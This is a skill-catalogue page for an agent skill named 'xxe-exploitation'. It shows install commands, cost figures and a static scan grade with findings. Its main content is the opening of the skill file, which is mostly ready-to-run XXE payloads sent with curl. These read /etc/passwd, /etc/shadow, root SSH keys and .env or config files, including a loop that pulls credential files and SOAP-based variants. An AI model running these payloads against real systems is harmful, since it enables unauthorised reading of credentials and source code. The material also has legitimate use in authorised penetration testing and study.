Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlasnpx agentmods add skills/mingyiseclab/mingyi-atlas/xxe-exploitationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/xxe-exploitation)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/xxe-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/xxe-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/xxe-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/xxe-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00069 | $0.01767 |
| Opus 5 | $0.00034 | $0.00883 |
| Sonnet 5 | $0.00014 | $0.00353 |
| Haiku 4.5 | $0.00007 | $0.00177 |
Grade B, and why
xxe-exploitation scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>' How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
XML External Entity (XXE) Injection
Exploits XML parsers that process external entity definitions, enabling local file reading, SSRF, or denial of service. Common in SOAP APIs, XML file uploads, SVG processing, and any endpoint accepting XML input.
Detection
# Check for XML input acceptance
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'
curl -s 'http://<TARGET>/api' -H 'Content-Type: text/xml' -d '<root>test</root>'
# Check for SOAP endpoints
curl -s 'http://<TARGET>/?wsdl'
curl -s 'http://<TARGET>/ws?wsdl'
curl -s 'http://<TARGET>/service?wsdl'
curl -s 'http://<TARGET>/soap'
# Check for XML upload/processing endpoints
curl -s 'http://<TARGET>/' | grep -i 'xml\|upload\|import\|parse'
Basic XXE — File Read
# Read /etc/passwd (confirms XXE)
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'
# Read sensitive credential/config files via XXE
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
/var/www/html/.env /app/.env /app/config.py /opt/app/config.json; do
echo "=== $f ===" && curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://$f\">]><root>&xxe;</root>"
done
# Read application source code
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
]>
<root>&xxe;</root>'
XXE via SOAP
# Standard SOAP XXE
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<query>&xxe;</query>
</soapenv:Body>
</soapenv:Envelope>'
# With namespace matching (adapt element names to WSDL)
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/">
<soapenv:Body>
<ns:getData>
<ns:input>&xxe;</ns:input>
</ns:getData>
</soapenv:Body>
</soapenv:Envelope>'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 145 lines · 69 tokens per session scan B aa2587f11171
xxe-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 69 tokens to every session and 1,767 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-4.3
Ensure AWS Config is enabled in all regions.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.